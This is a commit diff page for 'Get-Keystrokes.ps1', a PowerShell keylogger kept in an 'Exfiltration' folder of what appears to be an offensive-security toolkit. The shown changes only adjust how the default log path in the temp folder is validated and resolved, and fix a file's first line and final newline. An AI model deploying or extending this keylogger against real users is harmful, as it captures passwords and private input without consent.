aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/Get-Keystrokes.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/Get-Keystrokes.ps1')
-rw-r--r--Exfiltration/Get-Keystrokes.ps18
1 files changed, 5 insertions, 3 deletions
diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1
index 0698d9d..75400a1 100644
--- a/Exfiltration/Get-Keystrokes.ps1
+++ b/Exfiltration/Get-Keystrokes.ps1
@@ -1,4 +1,4 @@
-function Get-Keystrokes {
+function Get-Keystrokes {
<#
.SYNOPSIS
@@ -33,7 +33,7 @@
#>
[CmdletBinding()] Param (
[Parameter(Position = 0)]
- [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
+ [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
[String]
$LogPath = "$($Env:TEMP)\key.log",
@@ -42,6 +42,8 @@
$CollectionInterval
)
+ $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
+
Write-Verbose "Logging keystrokes to $LogPath"
$Initilizer = {
@@ -244,4 +246,4 @@
} | Out-Null
}
-} \ No newline at end of file
+}